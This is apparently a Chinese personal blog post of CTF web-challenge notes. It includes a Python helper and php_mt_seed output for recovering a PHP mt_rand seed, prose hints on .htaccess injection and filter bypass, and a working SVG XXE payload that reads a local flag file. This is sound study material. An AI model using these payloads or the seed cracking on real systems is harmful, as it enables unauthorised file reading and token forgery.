x

忙死了今天，总是在补作业的路上，所以舍弃晚饭时间来速刷3题（看得出来很想吃炸鸡了），昨天写的时候发现nodejs的环境都没了，还有我插入的大量链接也显示不出来，为什么为什么为什么

[MRCTF2020]Ezaudit

源码泄露，mt_rand已知公钥爆破私钥

1
2
3
4
5
6
7
8
9
10
11
12
13

str1 = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'

str2 = 'KVQP0LdJKRaV3n9D'

length = len(str2)
res = ''
for i in range(len(str2)):
    for j in range(len(str1)):
        if str2[i] == str1[j]:
            res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
            break
print(res)

这里有个问题，套之前写的脚本因为str1的索引不一样所以解不出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(yulian㉿kali)-[~/Desktop/php_mt_seed-main]
└─$ time ./php_mt_seed 36 36 0 61 47 47 0 61 42 42 0 61 41 41 0 61 52 52 0 61 37 37 0 61 3 3 0 61 35 35 0 61 36 36 0 61 43 43 0 61 0 0 0 61 47 47 0 61 55 55 0 61 13 13 0 61 61 61 0 61 29 29 0 61 
Pattern: EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62
Version: 3.0.7 to 5.2.0
Found 0, trying 0xfc000000 - 0xffffffff, speed 1059.6 Mseeds/s 
Version: 5.2.1+
Found 0, trying 0x68000000 - 0x69ffffff, speed 110.4 Mseeds/s 
seed = 0x69cf57fb = 1775196155 (PHP 5.2.1 to 7.0.x; HHVM)
Found 1, trying 0xfe000000 - 0xffffffff, speed 109.4 Mseeds/s 
Found 1

real    43.30s
user    336.98s
sys     0.08s
cpu     778%

注意访问路径是login.php,然后没复现成功

[羊城杯2020]easyphp

file_put_contents写入文件，文件上传漏洞，unlink删除文件，写入htaccess文件，转义绕过过滤，^正则匹配‘非
htaccess设置开头自动包含，加\转义\n使其符合htaccess语法标准，用php://filter和base64绕过stristr匹配（尝试失败，有//），等于1和不等于0的区别
%0a绕过过滤原理

[BSidesCF 2019]SVGMagic

svg xee payload

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<svg height="100" width="1000">
  <text x="10" y="20">&file;</text>
</svg>

“error”:“不支持的文件类型。”

“error”:“不支持的文件类型。”

如有错误，多多指教

valine